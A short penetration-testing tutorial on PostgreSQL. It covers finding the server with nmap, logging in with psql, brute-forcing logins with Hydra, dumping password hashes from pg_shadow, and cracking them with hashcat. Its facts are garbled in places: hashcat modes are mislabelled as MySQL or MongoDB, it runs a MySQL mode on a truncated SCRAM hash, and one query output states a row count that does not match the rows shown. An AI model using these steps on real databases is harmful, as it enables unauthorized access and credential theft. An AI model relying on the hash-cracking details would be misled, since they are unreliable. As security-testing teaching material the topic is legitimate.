How to Use PostgreSQL on a Security Test

PostgreSQL is an open source database that is popular with developers. We can identify a PostgreSQL server using nmap as follows:

```
$ nmap -P0 -sT -sV -p 5432 192.168.2.13
. . . . . .
PORT          STATE    SERVICE.          VERSION
5432/tcp      open     postgresql        PostgreSQL DB 9.6.0 or later
. . . . . .
$
```

Once we have identified a PostgreSQL server then we can connect to it using the **psql** command line tool. The first stage is to identify if a password is required. We can do this as follows, where the user we are trying to login as is root. In PostgreSQL we use the **-h** option to specify the IP address of the server, the **-U** to specify the username, and the **-w** option to specify no password. If we get an error message, then we can try to connect with a password. If we know the password, we can use it using the **-W** option.

```
$ psql -h 192.168.2.13 -U postgres -w
psql(14.4)
. . . . . .
Type "help" for help

postgres=#
```

If we do not know a valid password, then we can always try and brute force our way in via password guessing. In Kali we can do this via using Hydra as follows:

```
$ hydra -L userlist.txt -P passwordlist.txt 192.168.2.13 postgres
```

Once we have connected to the database, we can use the **\l** command to list of the databases on the target system, and **\dS** to show all the system objects/relations in the database. To list the users defined in a database, and then extract their password hashes we can use the following.

```
postgres=# select usename, usesysid, passwd from pg_user;
 usename  | usesysid |   passwd    |
----------+----------+-------------+
 postgres |       10 | ********    |
(1 row)

postgres=# select usename, passwd from pg_shadow;
 usename  | passwd
----------+-------------------------------------------------------------------
 postgres | SCRAM-SHA-256$4096:MdOVs8Z5zFiXLwTBekqlWQ==$P2mB9x61L92jF0KbPhOGoY=
 ajcblyth | SCRAM-SHA-256$4096:jsjLSJIERI3R2RI0JFJSDIUTJ9ESCJksjddDJDJkdjLkkss=
(1 row)

Postgres=#
```

Once we extracted the set of hashes for the database then we can attack then via a dictionary attack using tools such as hashcat. There are the types of hashes that PostgreSQL can use.

- 12 PostgreSQL
- 11100 PostgreSQL CRAM (MD5)
- 24200 MongoDB ServerKey SCRAM-SHA-256

We use the "**-m 24200**" option to tell hashcat that it is a native mysql password, and the "**-a 0**" option to say that it is a dictionary attack that we wish to perform. Remember that you can create your own dictionaries to use with hashcat, such as a dictionary of numbers.

```
$ cat passfile.txt
jsjLSJIERI3R2RI0JFJSDIUTJ9ESCJksjddDJDJkdjLkkss
$ hashcat -m 300 -a 0 passfile.txt /usr/share/wordlists/rockyou.txt
```